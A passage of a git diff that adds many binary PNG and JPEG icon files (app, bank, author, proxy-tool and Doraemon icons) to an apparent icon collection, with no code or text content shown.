differ diff --git a/icons/apps/mxbc.png b/icons/apps/mxbc.png new file mode 100644 index 00000000..a1c8b1e4 Binary files /dev/null and b/icons/apps/mxbc.png differ diff --git a/icons/apps/netflix.png b/icons/apps/netflix.png new file mode 100644 index 00000000..da0facdc Binary files /dev/null and b/icons/apps/netflix.png differ diff --git a/icons/apps/oil.png b/icons/apps/oil.png new file mode 100644 index 00000000..d2094d2f Binary files /dev/null and b/icons/apps/oil.png differ diff --git a/icons/apps/oracle.png b/icons/apps/oracle.png new file mode 100644 index 00000000..d6985cae Binary files /dev/null and b/icons/apps/oracle.png differ diff --git a/icons/apps/pinduoduo.png b/icons/apps/pinduoduo.png new file mode 100644 index 00000000..a2ab4d3a Binary files /dev/null and b/icons/apps/pinduoduo.png differ diff --git a/icons/apps/ql.png b/icons/apps/ql.png new file mode 100644 index 00000000..758ae9b9 Binary files /dev/null and b/icons/apps/ql.png differ diff --git a/icons/apps/ql_logo.png b/icons/apps/ql_logo.png new file mode 100644 index 00000000..190ace8b Binary files /dev/null and b/icons/apps/ql_logo.png differ diff --git a/icons/apps/relay.png b/icons/apps/relay.png new file mode 100644 index 00000000..3cf318dc Binary files /dev/null and b/icons/apps/relay.png differ diff --git a/icons/apps/select.png b/icons/apps/select.png new file mode 100644 index 00000000..000c181b Binary files /dev/null and b/icons/apps/select.png differ diff --git a/icons/apps/shadowrocket-01.png b/icons/apps/shadowrocket-01.png new file mode 100644 index 00000000..4882890b Binary files /dev/null and b/icons/apps/shadowrocket-01.png differ diff --git a/icons/apps/shadowrocket.png b/icons/apps/shadowrocket.png new file mode 100644 index 00000000..a5e223b5 Binary files /dev/null and b/icons/apps/shadowrocket.png differ diff --git a/icons/apps/sheep.png b/icons/apps/sheep.png new file mode 100644 index 00000000..17037171 Binary files /dev/null and b/icons/apps/sheep.png differ diff --git a/icons/apps/skylines.png b/icons/apps/skylines.png new file mode 100644 index 00000000..b224d171 Binary files /dev/null and b/icons/apps/skylines.png differ diff --git a/icons/apps/smzdm.png b/icons/apps/smzdm.png new file mode 100644 index 00000000..95f3a3fb Binary files /dev/null and b/icons/apps/smzdm.png differ diff --git a/icons/apps/spotify.png b/icons/apps/spotify.png new file mode 100644 index 00000000..5c4828fb Binary files /dev/null and b/icons/apps/spotify.png differ diff --git a/icons/apps/sultanahmedmosque.png b/icons/apps/sultanahmedmosque.png new file mode 100644 index 00000000..65f4ab9d Binary files /dev/null and b/icons/apps/sultanahmedmosque.png differ diff --git a/icons/apps/switch.png b/icons/apps/switch.png new file mode 100644 index 00000000..7a3f668a Binary files /dev/null and b/icons/apps/switch.png differ diff --git a/icons/apps/taipei101.png b/icons/apps/taipei101.png new file mode 100644 index 00000000..5bd091c2 Binary files /dev/null and b/icons/apps/taipei101.png differ diff --git a/icons/apps/tajmahal.png b/icons/apps/tajmahal.png new file mode 100644 index 00000000..1ba426ee Binary files /dev/null and b/icons/apps/tajmahal.png differ diff --git a/icons/apps/telegram.png b/icons/apps/telegram.png new file mode 100644 index 00000000..0c923f6d Binary files /dev/null and b/icons/apps/telegram.png differ diff --git a/icons/apps/tencent.png b/icons/apps/tencent.png new file mode 100644 index 00000000..1f0f0248 Binary files /dev/null and b/icons/apps/tencent.png differ diff --git a/icons/apps/tencentcloud.png b/icons/apps/tencentcloud.png new file mode 100644 index 00000000..a34d75d9 Binary files /dev/null and b/icons/apps/tencentcloud.png differ diff --git a/icons/apps/testflight.png b/icons/apps/testflight.png new file mode 100644 index 00000000..5cd9572c Binary files /dev/null and b/icons/apps/testflight.png differ diff --git a/icons/apps/texon.png b/icons/apps/texon.png new file mode 100644 index 00000000..c32fc667 Binary files /dev/null and b/icons/apps/texon.png differ diff --git a/icons/apps/texonhead.png b/icons/apps/texonhead.png new file mode 100644 index 00000000..ab932a85 Binary files /dev/null and b/icons/apps/texonhead.png differ diff --git a/icons/apps/texonslab.png b/icons/apps/texonslab.png new file mode 100644 index 00000000..25e8102d Binary files /dev/null and b/icons/apps/texonslab.png differ diff --git a/icons/apps/tiktok.png b/icons/apps/tiktok.png new file mode 100644 index 00000000..7df120ca Binary files /dev/null and b/icons/apps/tiktok.png differ diff --git a/icons/apps/tinder.png b/icons/apps/tinder.png new file mode 100644 index 00000000..3a6fa500 Binary files /dev/null and b/icons/apps/tinder.png differ diff --git a/icons/apps/torii.png b/icons/apps/torii.png new file mode 100644 index 00000000..a5e7d9fc Binary files /dev/null and b/icons/apps/torii.png differ diff --git a/icons/apps/tuhuyangche.png b/icons/apps/tuhuyangche.png new file mode 100644 index 00000000..f90fe079 Binary files /dev/null and b/icons/apps/tuhuyangche.png differ diff --git a/icons/apps/twitch.png b/icons/apps/twitch.png new file mode 100644 index 00000000..444ccb8e Binary files /dev/null and b/icons/apps/twitch.png differ diff --git a/icons/apps/twitter.png b/icons/apps/twitter.png new file mode 100644 index 00000000..e06f8b6d Binary files /dev/null and b/icons/apps/twitter.png differ diff --git a/icons/apps/v2tun.png b/icons/apps/v2tun.png new file mode 100644 index 00000000..434ab5d5 Binary files /dev/null and b/icons/apps/v2tun.png differ diff --git a/icons/apps/wangzherongyao.png b/icons/apps/wangzherongyao.png new file mode 100644 index 00000000..2f431d81 Binary files /dev/null and b/icons/apps/wangzherongyao.png differ diff --git a/icons/apps/warp.png b/icons/apps/warp.png new file mode 100644 index 00000000..b3727d0d Binary files /dev/null and b/icons/apps/warp.png differ diff --git a/icons/apps/warpcomet.png b/icons/apps/warpcomet.png new file mode 100644 index 00000000..ff8e4ac7 Binary files /dev/null and b/icons/apps/warpcomet.png differ diff --git a/icons/apps/wechat.png b/icons/apps/wechat.png new file mode 100644 index 00000000..b0493dd1 Binary files /dev/null and b/icons/apps/wechat.png differ diff --git a/icons/apps/whatsinstash.png b/icons/apps/whatsinstash.png new file mode 100644 index 00000000..0d4ed3d7 Binary files /dev/null and b/icons/apps/whatsinstash.png differ diff --git a/icons/apps/wireguard.png b/icons/apps/wireguard.png new file mode 100644 index 00000000..e962ea86 Binary files /dev/null and b/icons/apps/wireguard.png differ diff --git a/icons/apps/xbox.png b/icons/apps/xbox.png new file mode 100644 index 00000000..c94578d0 Binary files /dev/null and b/icons/apps/xbox.png differ diff --git a/icons/apps/xianyu.png b/icons/apps/xianyu.png new file mode 100644 index 00000000..dc00933f Binary files /dev/null and b/icons/apps/xianyu.png differ diff --git a/icons/apps/xianyu_02.png b/icons/apps/xianyu_02.png new file mode 100644 index 00000000..5ddf30b5 Binary files /dev/null and b/icons/apps/xianyu_02.png differ diff --git a/icons/apps/xiaomi.png b/icons/apps/xiaomi.png new file mode 100644 index 00000000..223fe3a8 Binary files /dev/null and b/icons/apps/xiaomi.png differ diff --git a/icons/apps/xiaomiCar.png b/icons/apps/xiaomiCar.png new file mode 100644 index 00000000..ec06d438 Binary files /dev/null and b/icons/apps/xiaomiCar.png differ diff --git a/icons/apps/ximalaya.png b/icons/apps/ximalaya.png new file mode 100644 index 00000000..59b15b1c Binary files /dev/null and b/icons/apps/ximalaya.png differ diff --git a/icons/apps/xxyx.jpeg b/icons/apps/xxyx.jpeg new file mode 100644 index 00000000..79749184 Binary files /dev/null and b/icons/apps/xxyx.jpeg differ diff --git a/icons/apps/xxyx_01.jpeg b/icons/apps/xxyx_01.jpeg new file mode 100644 index 00000000..9fea4156 Binary files /dev/null and b/icons/apps/xxyx_01.jpeg differ diff --git a/icons/apps/youtube.png b/icons/apps/youtube.png new file mode 100644 index 00000000..6c4c1663 Binary files /dev/null and b/icons/apps/youtube.png differ diff --git a/icons/apps/zhihu.png b/icons/apps/zhihu.png new file mode 100644 index 00000000..0ef0b891 Binary files /dev/null and b/icons/apps/zhihu.png differ diff --git a/icons/author/3K.png b/icons/author/3K.png new file mode 100644 index 00000000..5091f8b5 Binary files /dev/null and b/icons/author/3K.png differ diff --git a/icons/author/Baby.png b/icons/author/Baby.png new file mode 100644 index 00000000..fa2b1285 Binary files /dev/null and b/icons/author/Baby.png differ diff --git a/icons/author/CaoXiaoMan.png b/icons/author/CaoXiaoMan.png new file mode 100644 index 00000000..365fce74 Binary files /dev/null and b/icons/author/CaoXiaoMan.png differ diff --git a/icons/author/KeLi.png b/icons/author/KeLi.png new file mode 100644 index 00000000..f1338c88 Binary files /dev/null and b/icons/author/KeLi.png differ diff --git a/icons/author/LiWenQing.png b/icons/author/LiWenQing.png new file mode 100644 index 00000000..21b0a41d Binary files /dev/null and b/icons/author/LiWenQing.png differ diff --git a/icons/author/NaiSi_01.png b/icons/author/NaiSi_01.png new file mode 100644 index 00000000..d4f5f30e Binary files /dev/null and b/icons/author/NaiSi_01.png differ diff --git a/icons/author/Walalala.png b/icons/author/Walalala.png new file mode 100644 index 00000000..a6b89a27 Binary files /dev/null and b/icons/author/Walalala.png differ diff --git a/icons/author/YiNanan77.png b/icons/author/YiNanan77.png new file mode 100644 index 00000000..893c9927 Binary files /dev/null and b/icons/author/YiNanan77.png differ diff --git a/icons/author/ZenMoFeiShi.png b/icons/author/ZenMoFeiShi.png new file mode 100644 index 00000000..398bf45a Binary files /dev/null and b/icons/author/ZenMoFeiShi.png differ diff --git a/icons/author/fmz200-01.png b/icons/author/fmz200-01.png new file mode 100644 index 00000000..e9cbd7a7 Binary files /dev/null and b/icons/author/fmz200-01.png differ diff --git a/icons/author/fmz200-02.png b/icons/author/fmz200-02.png new file mode 100644 index 00000000..a082bbfd Binary files /dev/null and b/icons/author/fmz200-02.png differ diff --git a/icons/author/fmz200-03.png b/icons/author/fmz200-03.png new file mode 100644 index 00000000..d85f107d Binary files /dev/null and b/icons/author/fmz200-03.png differ diff --git a/icons/author/fmz200-04.png b/icons/author/fmz200-04.png new file mode 100644 index 00000000..e0924f54 Binary files /dev/null and b/icons/author/fmz200-04.png differ diff --git a/icons/author/keywos.png b/icons/author/keywos.png new file mode 100644 index 00000000..26ad7d32 Binary files /dev/null and b/icons/author/keywos.png differ diff --git a/icons/author/kk.png b/icons/author/kk.png new file mode 100644 index 00000000..7f6b27f3 Binary files /dev/null and b/icons/author/kk.png differ diff --git a/icons/author/nanhe.png b/icons/author/nanhe.png new file mode 100644 index 00000000..47f3a3a0 Binary files /dev/null and b/icons/author/nanhe.png differ diff --git a/icons/author/zhangjun.png b/icons/author/zhangjun.png new file mode 100644 index 00000000..7f91e5d8 Binary files /dev/null and b/icons/author/zhangjun.png differ diff --git a/icons/bank/ABC.png b/icons/bank/ABC.png new file mode 100644 index 00000000..8353a8c6 Binary files /dev/null and b/icons/bank/ABC.png differ diff --git a/icons/bank/BC.png b/icons/bank/BC.png new file mode 100644 index 00000000..ec257c2e Binary files /dev/null and b/icons/bank/BC.png differ diff --git a/icons/bank/CCB.png b/icons/bank/CCB.png new file mode 100644 index 00000000..25fe3bc8 Binary files /dev/null and b/icons/bank/CCB.png differ diff --git a/icons/bank/CEB.png b/icons/bank/CEB.png new file mode 100644 index 00000000..7f996cd1 Binary files /dev/null and b/icons/bank/CEB.png differ diff --git a/icons/bank/CGDB.png b/icons/bank/CGDB.png new file mode 100644 index 00000000..451f3288 Binary files /dev/null and b/icons/bank/CGDB.png differ diff --git a/icons/bank/CGDB_1.png b/icons/bank/CGDB_1.png new file mode 100644 index 00000000..d0f154b8 Binary files /dev/null and b/icons/bank/CGDB_1.png differ diff --git a/icons/bank/CIB.png b/icons/bank/CIB.png new file mode 100644 index 00000000..7dd92f62 Binary files /dev/null and b/icons/bank/CIB.png differ diff --git a/icons/bank/CMB.png b/icons/bank/CMB.png new file mode 100644 index 00000000..80da5f77 Binary files /dev/null and b/icons/bank/CMB.png differ diff --git a/icons/bank/CMBC.png b/icons/bank/CMBC.png new file mode 100644 index 00000000..8f17e9d6 Binary files /dev/null and b/icons/bank/CMBC.png differ diff --git a/icons/bank/CNCB.png b/icons/bank/CNCB.png new file mode 100644 index 00000000..01c311a5 Binary files /dev/null and b/icons/bank/CNCB.png differ diff --git a/icons/bank/HXB.png b/icons/bank/HXB.png new file mode 100644 index 00000000..1099cb94 Binary files /dev/null and b/icons/bank/HXB.png differ diff --git a/icons/bank/ICBC.png b/icons/bank/ICBC.png new file mode 100644 index 00000000..386fcd80 Binary files /dev/null and b/icons/bank/ICBC.png differ diff --git a/icons/bank/PAB.png b/icons/bank/PAB.png new file mode 100644 index 00000000..071a3c4d Binary files /dev/null and b/icons/bank/PAB.png differ diff --git a/icons/bank/PBC.png b/icons/bank/PBC.png new file mode 100644 index 00000000..1a499128 Binary files /dev/null and b/icons/bank/PBC.png differ diff --git a/icons/bank/PSBC.png b/icons/bank/PSBC.png new file mode 100644 index 00000000..7250acf4 Binary files /dev/null and b/icons/bank/PSBC.png differ diff --git a/icons/bank/SPDB.png b/icons/bank/SPDB.png new file mode 100644 index 00000000..3386a045 Binary files /dev/null and b/icons/bank/SPDB.png differ diff --git a/icons/bank/maidanba.png b/icons/bank/maidanba.png new file mode 100644 index 00000000..c3ecc183 Binary files /dev/null and b/icons/bank/maidanba.png differ diff --git a/icons/chxm1023/AppStore.png b/icons/chxm1023/AppStore.png new file mode 100644 index 00000000..3a34a598 Binary files /dev/null and b/icons/chxm1023/AppStore.png differ diff --git a/icons/chxm1023/Apple.png b/icons/chxm1023/Apple.png new file mode 100644 index 00000000..9582528a Binary files /dev/null and b/icons/chxm1023/Apple.png differ diff --git a/icons/chxm1023/ChatGPT1.png b/icons/chxm1023/ChatGPT1.png new file mode 100644 index 00000000..e5d649f8 Binary files /dev/null and b/icons/chxm1023/ChatGPT1.png differ diff --git a/icons/chxm1023/ChatGPT2.png b/icons/chxm1023/ChatGPT2.png new file mode 100644 index 00000000..f8a3d7e7 Binary files /dev/null and b/icons/chxm1023/ChatGPT2.png differ diff --git a/icons/chxm1023/ChatGPT3.png b/icons/chxm1023/ChatGPT3.png new file mode 100644 index 00000000..8a235704 Binary files /dev/null and b/icons/chxm1023/ChatGPT3.png differ diff --git a/icons/chxm1023/ChatGPT4.png b/icons/chxm1023/ChatGPT4.png new file mode 100644 index 00000000..7297eabd Binary files /dev/null and b/icons/chxm1023/ChatGPT4.png differ diff --git a/icons/chxm1023/ChatGPT5.png b/icons/chxm1023/ChatGPT5.png new file mode 100644 index 00000000..020ae34b Binary files /dev/null and b/icons/chxm1023/ChatGPT5.png differ diff --git a/icons/chxm1023/ChatGPT6.png b/icons/chxm1023/ChatGPT6.png new file mode 100644 index 00000000..ccc13dc1 Binary files /dev/null and b/icons/chxm1023/ChatGPT6.png differ diff --git a/icons/chxm1023/GV.PNG b/icons/chxm1023/GV.PNG new file mode 100644 index 00000000..a4b7efe8 Binary files /dev/null and b/icons/chxm1023/GV.PNG differ diff --git a/icons/chxm1023/JD.png b/icons/chxm1023/JD.png new file mode 100644 index 00000000..5e10af08 Binary files /dev/null and b/icons/chxm1023/JD.png differ diff --git a/icons/chxm1023/Loon_1.png b/icons/chxm1023/Loon_1.png new file mode 100644 index 00000000..c8e1169b Binary files /dev/null and b/icons/chxm1023/Loon_1.png differ diff --git a/icons/chxm1023/Loon_10.png b/icons/chxm1023/Loon_10.png new file mode 100644 index 00000000..bd0ba631 Binary files /dev/null and b/icons/chxm1023/Loon_10.png differ diff --git a/icons/chxm1023/Loon_11.png b/icons/chxm1023/Loon_11.png new file mode 100644 index 00000000..c2e57866 Binary files /dev/null and b/icons/chxm1023/Loon_11.png differ diff --git a/icons/chxm1023/Loon_2.png b/icons/chxm1023/Loon_2.png new file mode 100644 index 00000000..228bab98 Binary files /dev/null and b/icons/chxm1023/Loon_2.png differ diff --git a/icons/chxm1023/Loon_3.png b/icons/chxm1023/Loon_3.png new file mode 100644 index 00000000..2359a89f Binary files /dev/null and b/icons/chxm1023/Loon_3.png differ diff --git a/icons/chxm1023/Loon_4.png b/icons/chxm1023/Loon_4.png new file mode 100644 index 00000000..ff35ee57 Binary files /dev/null and b/icons/chxm1023/Loon_4.png differ diff --git a/icons/chxm1023/Loon_5.png b/icons/chxm1023/Loon_5.png new file mode 100644 index 00000000..69589af7 Binary files /dev/null and b/icons/chxm1023/Loon_5.png differ diff --git a/icons/chxm1023/Loon_6.png b/icons/chxm1023/Loon_6.png new file mode 100644 index 00000000..1b84e83d Binary files /dev/null and b/icons/chxm1023/Loon_6.png differ diff --git a/icons/chxm1023/Loon_7.png b/icons/chxm1023/Loon_7.png new file mode 100644 index 00000000..caccd6ce Binary files /dev/null and b/icons/chxm1023/Loon_7.png differ diff --git a/icons/chxm1023/Loon_8.png b/icons/chxm1023/Loon_8.png new file mode 100644 index 00000000..cd821c55 Binary files /dev/null and b/icons/chxm1023/Loon_8.png differ diff --git a/icons/chxm1023/Loon_9.png b/icons/chxm1023/Loon_9.png new file mode 100644 index 00000000..e19cca8e Binary files /dev/null and b/icons/chxm1023/Loon_9.png differ diff --git a/icons/chxm1023/Quantumult_X.png b/icons/chxm1023/Quantumult_X.png new file mode 100644 index 00000000..0afaf476 Binary files /dev/null and b/icons/chxm1023/Quantumult_X.png differ diff --git a/icons/chxm1023/Quantumult_X_1.png b/icons/chxm1023/Quantumult_X_1.png new file mode 100644 index 00000000..cd2a9940 Binary files /dev/null and b/icons/chxm1023/Quantumult_X_1.png differ diff --git a/icons/chxm1023/Quantumult_X_2.png b/icons/chxm1023/Quantumult_X_2.png new file mode 100644 index 00000000..6d06657a Binary files /dev/null and b/icons/chxm1023/Quantumult_X_2.png differ diff --git a/icons/chxm1023/Quantumult_X_3.png b/icons/chxm1023/Quantumult_X_3.png new file mode 100644 index 00000000..4b903679 Binary files /dev/null and b/icons/chxm1023/Quantumult_X_3.png differ diff --git a/icons/chxm1023/Quantumult_X_4.png b/icons/chxm1023/Quantumult_X_4.png new file mode 100644 index 00000000..2d18bd6f Binary files /dev/null and b/icons/chxm1023/Quantumult_X_4.png differ diff --git a/icons/chxm1023/Quantumult_X_5.png b/icons/chxm1023/Quantumult_X_5.png new file mode 100644 index 00000000..ab5977ae Binary files /dev/null and b/icons/chxm1023/Quantumult_X_5.png differ diff --git a/icons/chxm1023/Quantumult_X_6.png b/icons/chxm1023/Quantumult_X_6.png new file mode 100644 index 00000000..2ba9e288 Binary files /dev/null and b/icons/chxm1023/Quantumult_X_6.png differ diff --git a/icons/chxm1023/Quantumult_X_7.png b/icons/chxm1023/Quantumult_X_7.png new file mode 100644 index 00000000..e684d14b Binary files /dev/null and b/icons/chxm1023/Quantumult_X_7.png differ diff --git a/icons/chxm1023/Safari.png b/icons/chxm1023/Safari.png new file mode 100644 index 00000000..9700c534 Binary files /dev/null and b/icons/chxm1023/Safari.png differ diff --git a/icons/chxm1023/TikTok.png b/icons/chxm1023/TikTok.png new file mode 100644 index 00000000..9abdd5e8 Binary files /dev/null and b/icons/chxm1023/TikTok.png differ diff --git a/icons/chxm1023/TikTok_1.png b/icons/chxm1023/TikTok_1.png new file mode 100644 index 00000000..87906317 Binary files /dev/null and b/icons/chxm1023/TikTok_1.png differ diff --git a/icons/chxm1023/TikTok_2.png b/icons/chxm1023/TikTok_2.png new file mode 100644 index 00000000..2a12090d Binary files /dev/null and b/icons/chxm1023/TikTok_2.png differ diff --git a/icons/chxm1023/baidu.png b/icons/chxm1023/baidu.png new file mode 100644 index 00000000..1c0eb1ad Binary files /dev/null and b/icons/chxm1023/baidu.png differ diff --git a/icons/chxm1023/box.png b/icons/chxm1023/box.png new file mode 100644 index 00000000..890d975e Binary files /dev/null and b/icons/chxm1023/box.png differ diff --git a/icons/chxm1023/ddm.png b/icons/chxm1023/ddm.png new file mode 100644 index 00000000..6f977438 Binary files /dev/null and b/icons/chxm1023/ddm.png differ diff --git a/icons/chxm1023/dlam.png b/icons/chxm1023/dlam.png new file mode 100644 index 00000000..a6ee0b36 Binary files /dev/null and b/icons/chxm1023/dlam.png differ diff --git a/icons/chxm1023/iCloud.png b/icons/chxm1023/iCloud.png new file mode 100644 index 00000000..5383da87 Binary files /dev/null and b/icons/chxm1023/iCloud.png differ diff --git a/icons/chxm1023/microsoft.png b/icons/chxm1023/microsoft.png new file mode 100644 index 00000000..e2153a75 Binary files /dev/null and b/icons/chxm1023/microsoft.png differ diff --git a/icons/chxm1023/smbc.png b/icons/chxm1023/smbc.png new file mode 100644 index 00000000..0a0930f6 Binary files /dev/null and b/icons/chxm1023/smbc.png differ diff --git a/icons/chxm1023/stash1.png b/icons/chxm1023/stash1.png new file mode 100644 index 00000000..0f43d912 Binary files /dev/null and b/icons/chxm1023/stash1.png differ diff --git a/icons/chxm1023/stash2.png b/icons/chxm1023/stash2.png new file mode 100644 index 00000000..87f6618c Binary files /dev/null and b/icons/chxm1023/stash2.png differ diff --git a/icons/chxm1023/substore.png b/icons/chxm1023/substore.png new file mode 100644 index 00000000..98e3a896 Binary files /dev/null and b/icons/chxm1023/substore.png differ diff --git a/icons/chxm1023/txvideo.png b/icons/chxm1023/txvideo.png new file mode 100644 index 00000000..7d129dd0 Binary files /dev/null and b/icons/chxm1023/txvideo.png differ diff --git a/icons/chxm1023/wechat.png b/icons/chxm1023/wechat.png new file mode 100644 index 00000000..d3bdfdda Binary files /dev/null and b/icons/chxm1023/wechat.png differ diff --git a/icons/chxm1023/weibo.png b/icons/chxm1023/weibo.png new file mode 100644 index 00000000..142942b9 Binary files /dev/null and b/icons/chxm1023/weibo.png differ diff --git a/icons/chxm1023/wk.png b/icons/chxm1023/wk.png new file mode 100644 index 00000000..4955c2ff Binary files /dev/null and b/icons/chxm1023/wk.png differ diff --git a/icons/chxm1023/xbox.png b/icons/chxm1023/xbox.png new file mode 100644 index 00000000..4156f5f3 Binary files /dev/null and b/icons/chxm1023/xbox.png differ diff --git a/icons/chxm1023/xiaohongshu.png b/icons/chxm1023/xiaohongshu.png new file mode 100644 index 00000000..fe4bb0cb Binary files /dev/null and b/icons/chxm1023/xiaohongshu.png differ diff --git a/icons/chxm1023/zhihu.png b/icons/chxm1023/zhihu.png new file mode 100644 index 00000000..0c80b07e Binary files /dev/null and b/icons/chxm1023/zhihu.png differ diff --git a/icons/doraemon/Doraemon-1001.png b/icons/doraemon/Doraemon-1001.png new file mode 100644 index 00000000..9f8435e1 Binary files /dev/null and b/icons/doraemon/Doraemon-1001.png differ diff --git a/icons/doraemon/Doraemon-1002.png b/icons/doraemon/Doraemon-1002.png new file mode 100644 index 00000000..3c668b58 Binary files /dev/null and b/icons/doraemon/Doraemon-1002.png differ diff --git a/icons/doraemon/Doraemon-1003.png b/icons/doraemon/Doraemon-1003.png new file mode 100644 index 00000000..7876756d Binary files /dev/null and b/icons/doraemon/Doraemon-1003.png differ diff --git a/icons/doraemon/Doraemon-1004.png b/icons/doraemon/Doraemon-1004.png new file mode 100644 index 00000000..67fd6536 Binary files /dev/null and b/icons/doraemon/Doraemon-1004.png differ diff --git a/icons/doraemon/Doraemon-1005.png b/icons/doraemon/Doraemon-1005.png new file mode 100644 index 00000000..41f0d393 Binary files /dev/null and b/icons/doraemon/Doraemon-1005.png differ diff --git a/icons/doraemon/Doraemon-1006.png b/icons/doraemon/Doraemon-1006.png new file mode 100644 index 00000000..0e866dfe Binary files /dev/null and b/icons/doraemon/Doraemon-1006.png differ diff --git a/icons/doraemon/Doraemon-1007.png b/icons/doraemon/Doraemon-1007.png new file mode 100644 index 00000000..2ff3d4b2 Binary files /dev/null and b/icons/doraemon/Doraemon-1007.png differ diff --git a/icons/doraemon/Doraemon-1008.png b/icons/doraemon/Doraemon-1008.png new file mode 100644 index 00000000..588a93f0 Binary files /dev/null and b/icons/doraemon/Doraemon-1008.png differ diff --git a/icons/doraemon/Doraemon-1009.png b/icons/doraemon/Doraemon-1009.png new file mode 100644 index 00000000..1b5f87a3 Binary files /dev/null and b/icons/doraemon/Doraemon-1009.png differ diff --git a/icons/doraemon/Doraemon-1010.png b/icons/doraemon/Doraemon-1010.png new file mode 100644 index 00000000..db6a4378 Binary files /dev/null and b/icons/doraemon/Doraemon-1010.png differ diff --git a/icons/doraemon/Doraemon-1011.png b/icons/doraemon/Doraemon-1011.png new file mode 100644 index 00000000..771cdaa1 Binary files /dev/null and b/icons/doraemon/Doraemon-1011.png differ diff --git a/icons/doraemon/Doraemon-1012.png b/icons/doraemon/Doraemon-1012.png new file mode 100644 index 00000000..f240d3ab Binary files /dev/null and b/icons/doraemon/Doraemon-1012.png differ diff --git a/icons/doraemon/Doraemon-1013.png b/icons/doraemon/Doraemon-1013.png new file mode 100644 index 00000000..0a6a50f9 Binary files /dev/null and b/icons/doraemon/Doraemon-1013.png differ diff --git a/icons/doraemon/Doraemon-1014.png b/icons/doraemon/Doraemon-1014.png new file mode 100644 index 00000000..12ee50ab Binary files /dev/null and b/icons/doraemon/Doraemon-1014.png differ diff --git a/icons/doraemon/Doraemon-1015.png b/icons/doraemon/Doraemon-1015.png new file mode 100644 index 00000000..459055a6 Binary files /dev/null and b/icons/doraemon/Doraemon-1015.png differ diff --git a/icons/doraemon/Doraemon-1016.png b/icons/doraemon/Doraemon-1016.png new file mode 100644 index 00000000..40aaed66 Binary files /dev/null and b/icons/doraemon/Doraemon-1016.png differ diff --git a/icons/doraemon/Doraemon-1017.png b/icons/doraemon/Doraemon-1017.png new file mode 100644 index 00000000..cc96171b Binary files /dev/null and b/icons/doraemon/Doraemon-1017.png differ diff --git a/icons/doraemon/Doraemon-1018.png b/icons/doraemon/Doraemon-1018.png new file mode 100644 index 00000000..e824c476 Binary files /dev/null and b/icons/doraemon/Doraemon-1018.png differ diff --git a/icons/doraemon/Doraemon-1019.png b/icons/doraemon/Doraemon-1019.png new file mode 100644 index 00000000..97c8e1b2 Binary files /dev/null and b/icons/doraemon/Doraemon-1019.png differ diff --git a/icons/doraemon/Doraemon-1020.png b/icons/doraemon/Doraemon-1020.png new file mode 100644 index 00000000..64529dce Binary files /dev/null and b/icons/doraemon/Doraemon-1020.png differ diff --git a/icons/doraemon/Doraemon-1021.png b/icons/doraemon/Doraemon-1021.png new file mode 100644 index 00000000..777df4a0 Binary files /dev/null and b/icons/doraemon/Doraemon-1021.png differ diff --git a/icons/doraemon/Doraemon-1022.png b/icons/doraemon/Doraemon-1022.png new file mode 100644 index 00000000..05b30cd3 Binary files /dev/null and b/icons/doraemon/Doraemon-1022.png differ diff --git a/icons/doraemon/Doraemon-1023.png b/icons/doraemon/Doraemon-1023.png new file mode 100644 index 00000000..939f7907 Binary files /dev/null and b/icons/doraemon/Doraemon-1023.png differ diff --git a/icons/doraemon/Doraemon-1024.png b/icons/doraemon/Doraemon-1024.png new file mode 100644 index 00000000..b8441884 Binary files /dev/null and b/icons/doraemon/Doraemon-1024.png differ diff --git a/icons/doraemon/Doraemon-1025.png b/icons/doraemon/Doraemon-1025.png new file mode 100644 index 00000000..f9a628f0 Binary files /dev/null and b/icons/doraemon/Doraemon-1025.png differ diff --git a/icons/doraemon/Doraemon-1026.png b/icons/doraemon/Doraemon-1026.png new file mode 100644 index 00000000..97945336 Binary files /dev/null and b/icons/doraemon/Doraemon-1026.png differ diff --git a/icons/doraemon/Doraemon-1027.png b/icons/doraemon/Doraemon-1027.png new file mode 100644 index 00000000..5e6f5ed3 Binary files /dev/null and b/icons/doraemon/Doraemon-1027.png differ diff --git a/icons/doraemon/Doraemon-1028.png b/icons/doraemon/Doraemon-1028.png new file mode 100644 index 00000000..aa7ad52d Binary files /dev/null and b/icons/doraemon/Doraemon-1028.png differ diff --git a/icons/doraemon/Doraemon-1029.png b/icons/doraemon/Doraemon-1029.png new file mode 100644 index 00000000..892fcc38 Binary files /dev/null and b/icons/doraemon/Doraemon-1029.png differ diff --git a/icons/doraemon/Doraemon-1030.png b/icons/doraemon/Doraemon-1030.png new file mode 100644 index 00000000..9900cd2c Binary files /dev/null and b/icons/doraemon/Doraemon-1030.png differ diff --git a/icons/doraemon/Doraemon-1031.png b/icons/doraemon/Doraemon-1031.png new file mode 100644 index 00000000..21dec88e Binary files /dev/null and b/icons/doraemon/Doraemon-1031.png differ diff --git a/icons/doraemon/Doraemon-1032.png b/icons/doraemon/Doraemon-1032.png new file mode 100644 index 00000000..c05ad4ca Binary files /dev/null and b/icons/doraemon/Doraemon-1032.png differ diff --git a/icons/doraemon/Doraemon-1033.png b/icons/doraemon/Doraemon-1033.png new file mode 100644 index 00000000..8c953d71 Binary files /dev/null and b/icons/doraemon/Doraemon-1033.png differ diff --git a/icons/doraemon/Doraemon-1034.png b/icons/doraemon/Doraemon-1034.png new file mode 100644 index 00000000..66dfe495 Binary files /dev/null and b/icons/doraemon/Doraemon-1034.png differ diff --git a/icons/doraemon/Doraemon-1035.png b/icons/doraemon/Doraemon-1035.png new file mode 100644 index 00000000..7a47bac9 Binary files /dev/null and b/icons/doraemon/Doraemon-1035.png differ diff --git a/icons/doraemon/Doraemon-1036.png b/icons/doraemon/Doraemon-1036.png new file mode 100644 index 00000000..fe0738db Binary files /dev/null and b/icons/doraemon/Doraemon-1036.png differ diff --git a/icons/doraemon/Doraemon-1037.png b/icons/doraemon/Doraemon-1037.png new file mode 100644 index 00000000..12297aac Binary files /dev/null and b/icons/doraemon/Doraemon-1037.png differ diff --git a/icons/doraemon/Doraemon-1038.png b/icons/doraemon/Doraemon-1038.png new file mode 100644 index 00000000..87fe2517 Binary files /dev/null and b/icons/doraemon/Doraemon-1038.png differ diff --git a/icons/doraemon/Doraemon-1039.png b/icons/doraemon/Doraemon-1039.png new file mode 100644 index 00000000..28b364f2 Binary files /dev/null and b/icons/doraemon/Doraemon-1039.png differ diff --git a/icons/doraemon/Doraemon-1040.png b/icons/doraemon/Doraemon-1040.png new file mode 100644 index 00000000..44856aa3 Binary files /dev/null and b/icons/doraemon/Doraemon-1040.png differ diff --git a/icons/doraemon/Doraemon-1041.png b/icons/doraemon/Doraemon-1041.png new file mode 100644 index 00000000..c275a692 Binary files /dev/null and b/icons/doraemon/Doraemon-1041.png differ diff --git 